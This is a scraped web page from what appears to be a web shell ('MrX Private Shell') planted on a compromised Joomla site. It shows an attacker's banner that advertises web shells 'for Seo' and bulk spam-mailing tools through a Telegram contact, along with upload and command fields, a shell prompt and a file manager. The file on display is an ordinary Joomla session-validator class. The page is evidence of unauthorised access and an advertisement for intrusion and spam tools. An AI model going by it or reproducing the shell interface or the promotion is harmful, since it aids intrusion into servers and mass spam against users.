__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * Part of the Joomla Framework Session Package
 *
 * @copyright  Copyright (C) 2005 - 2021 Open Source Matters, Inc. All rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Session\Validator;

use Joomla\Input\Input;
use Joomla\Session\Exception\InvalidSessionException;
use Joomla\Session\SessionInterface;
use Joomla\Session\ValidatorInterface;
use Joomla\Utilities\IpHelper;

/**
 * Interface for validating a part of the session
 *
 * @since  2.0.0
 */
class AddressValidator implements ValidatorInterface
{
    /**
     * The Input object.
     *
     * @var    Input
     * @since  2.0.0
     */
    private $input;

    /**
     * The session object.
     *
     * @var    SessionInterface
     * @since  2.0.0
     */
    private $session;

    /**
     * Constructor
     *
     * @param   Input             $input    The input object
     * @param   SessionInterface  $session  DispatcherInterface for the session to use.
     *
     * @since   2.0.0
     */
    public function __construct(Input $input, SessionInterface $session)
    {
        $this->input   = $input;
        $this->session = $session;
    }

    /**
     * Validates the session
     *
     * @param   boolean  $restart  Flag if the session should be restarted
     *
     * @return  void
     *
     * @since   2.0.0
     * @throws  InvalidSessionException
     */
    public function validate(bool $restart = false): void
    {
        if ($restart) {
            $this->session->set('session.client.address', null);
        }

        $remoteAddr = IpHelper::getIp();

        // Check for client address
        if (!empty($remoteAddr) && filter_var($remoteAddr, FILTER_VALIDATE_IP) !== false) {
            $ip = $this->session->get('session.client.address');

            if ($ip === null) {
                $this->session->set('session.client.address', $remoteAddr);
            } elseif ($remoteAddr !== $ip) {
                throw new InvalidSessionException('Invalid client IP');
            }
        }
    }
}

Filemanager

Name Type Size Permission Actions
AddressValidator.php File 2.03 KB 0664
ForwardedValidator.php File 1.78 KB 0664
Filemanager